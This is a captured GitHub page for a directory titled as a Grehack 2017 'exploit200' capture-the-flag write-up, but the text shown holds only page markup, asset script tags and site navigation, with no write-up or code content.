src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>write-ups/Grehack 2017/exploit200 at master · laxa/write-ups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B28A:1F9B:4F7201D:519F0B1:64122751" data-pjax-transient="true"/><meta name="html-safe-nonce" content="b326b1c84770687e2bdd81850be03b8281231721258e2ff9121782e563542b1a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMjhBOjFGOUI6NEY3MjAxRDo1MTlGMEIxOjY0MTIyNzUxIiwidmlzaXRvcl9pZCI6IjUyMjk0NTAyOTYwNzQzMTU2MDEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="368d5fc65428046340ccb6678578d91f2c61817a8c6da424edb9e86afebf2519" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:92195266" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to laxa/write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/caf42652fafc36128b38d35239787838363ce9c20f6eb704b461cb2da139b87b/laxa/write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="write-ups/Grehack 2017/exploit200 at master · laxa/write-ups" /><meta name="twitter:description" content="Contribute to laxa/write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/caf42652fafc36128b38d35239787838363ce9c20f6eb704b461cb2da139b87b/laxa/write-ups" /><meta property="og:image:alt" content="Contribute to laxa/write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="write-ups/Grehack 2017/exploit200 at master · laxa/write-ups" /><meta property="og:url" content="https://github.com/laxa/write-ups" /><meta property="og:description" content="Contribute to laxa/write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/laxa/write-ups git https://github.com/laxa/write-ups.git">
<meta name="octolytics-dimension-user_id" content="450587" /><meta name="octolytics-dimension-user_login" content="laxa" /><meta name="octolytics-dimension-repository_id" content="92195266" /><meta name="octolytics-dimension-repository_nwo" content="laxa/write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="92195266" /><meta name="octolytics-dimension-repository_network_root_nwo" content="laxa/write-ups" />
<link rel="canonical" href="https://github.com/laxa/write-ups/tree/master/Grehack%202017/exploit200" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
